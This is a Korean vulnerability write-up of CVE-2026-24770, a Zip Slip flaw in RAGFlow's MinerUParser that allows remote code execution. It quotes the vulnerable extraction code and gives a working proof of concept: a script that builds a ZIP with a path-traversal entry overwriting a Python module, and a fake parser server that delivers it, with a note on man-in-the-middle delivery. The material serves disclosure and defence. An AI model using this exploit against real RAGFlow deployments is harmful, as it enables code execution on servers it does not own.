[하루한줄] CVE-2026-24770: RAGFlow의 MinerUParser Zip Slip을 통한 Remote Code Execution(RCE) 취약점

URL

Target

  • RAGFlow v0.23.1 이하 버전

Explain

RAGFlow의 MinerUParser 클래스가 외부 소스(mineru_server_url)로부터 ZIP 파일을 내려받아 압축을 해제하는 과정에서 발생하는 Zip Slip으로 인해 RCE 취약점이 발생합니다.

# deepdoc/parser/mineru_parser.py:167
# ZIP 멤버 이름에서 파생된 'path'에 대한 검증 X
def _extract_zip_no_root(self, zip_path, extract_to, root_dir):
    with zipfile.ZipFile(zip_path, "r") as zip_ref:
        # [1] root_dir 미탐지 시
        if not root_dir or not root_dir.endswith("/"):
            zip_ref.extractall(extract_to)  # ← ../ 필터링 없음
            return

        root_len = len(root_dir)
        for member in zip_ref.infolist():
            filename = member.filename
            if filename == root_dir:
                continue

            # [2] root_dir prefix 제거 후 경로 합성
            path = filename
            if path.startswith(root_dir):
                path = path[root_len:]   # prefix만 제거, ../ 미검증

            # ← 검증 없이 os.path.join 수행
            full_path = os.path.join(extract_to, path)

            if member.is_dir():
                os.makedirs(full_path, exist_ok=True)
            else:
                os.makedirs(os.path.dirname(full_path), exist_ok=True)
                with open(full_path, "wb") as f:
                    f.write(zip_ref.read(filename))   # 공격자가 보낸 임의 경로에 파일 쓰기 

os.path.join../../../../app/login.py와 같이 악의적인 디렉토리가 전달될 경우 [1]과 [2] 에서 공격자가 외부 경로가 파일 저장경로로 작성되게 됩니다. 이후 [3]에서 공격자가 파일이 작성됩니다.

POC

공격 시나리오는 다음과 같습니다.

[1] 공격자는 먼저 디렉토리 트래버설 문자가 포함된 경로명(예: ../../api/utils/auth.py)을 가진 Python 스크립트를 담은 악성 ZIP 파일을 제작합니다.

import zipfile

def create_malicious_zip():
    print("[*] Creating 'evil_mineru.zip'...")
    # 앱 구조에 존재하는 파일을 타깃으로 설정
    target_path = "../../../../ragflow/api/utils/pwned.py"

    with zipfile.ZipFile("evil_mineru.zip", "w") as z:
        z.writestr(target_path, "import os; os.system('touch /tmp/rce_success')")

    print("[+] Malicious ZIP created. Serve this to the MinerU parser.")

if __name__ == "__main__":
    create_malicious_zip()

[2] MitM 공격을 통해 해당 파일이 파서에 의해 처리되도록 유도합니다. RAGFlow가 ZIP을 압축 해제하는 순간, 서버 내 대상 Python 파일이 overwrite되며, 이후 애플리케이션이 해당 모듈을 import하거나 재시작될 때 공격자의 코드가 RAGFlow 프로세스 권한으로 실행됩니다.

# fake_mineru_server.py
# RAGFlow의 mineru_api 설정을 이 서버 주소로 변경하거나
# MitM(ARP Spoofing 등)으로 실제 서버 응답을 교체
from flask import Flask, send_file

app = Flask(__name__)

@app.route("/file_parse", methods=["POST"])
def file_parse():
    print("[*] Received parse request — returning malicious ZIP")
    return send_file(
        "evil_mineru.zip",
        mimetype="application/zip",
        as_attachment=True,
        download_name="result.zip"
    )

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8888)

Reference



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.